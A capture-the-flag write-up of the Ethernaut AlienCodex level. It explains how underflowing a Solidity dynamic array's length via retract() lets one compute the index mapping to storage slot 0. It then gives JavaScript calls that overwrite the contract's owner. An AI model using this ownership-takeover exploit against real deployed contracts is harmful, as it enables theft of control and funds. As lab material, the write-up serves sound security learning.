Writeups/Ethernaut/AlienCodex
HardEthernaut · Ethernaut2024

AlienCodex

Dynamic Array Length Underflow Enabling Storage Slot 0 Overwrite

By calling `retract()` before making any `record()` call, the dynamic array length underflows from 0 to `2^256 - 1`. With the array spanning all storage slots, the slot containing `owner` (slot 0) can be computed from the array's base slot and overwritten via `revise()`.

SolidityStorage LayoutDynamic ArrayUnderflowSlot Wrapping

00Overview

By calling `retract()` before making any `record()` call, the dynamic array length underflows from 0 to `2^256 - 1`. With the array spanning all storage slots, the slot containing `owner` (slot 0) can be computed from the array's base slot and overwritten via `revise()`.

01Make contact and underflow the array

javascript
await contract.make_contact()
await contract.retract()  // codex.length: 0 -> 2^256 - 1

02Compute the index that maps to slot 0

javascript
// codex base = keccak256(1)
// slot 0 is at index: 2^256 - keccak256(1)
const base = BigInt(web3.utils.soliditySha3({type:'uint256', value:1}))
const index = (2n ** 256n - base).toString()

03Overwrite slot 0 with player address

javascript
await contract.revise(index, player.padStart(64,'0').slice(-64))

04Level Completed

AlienCodex — completion screenshot 1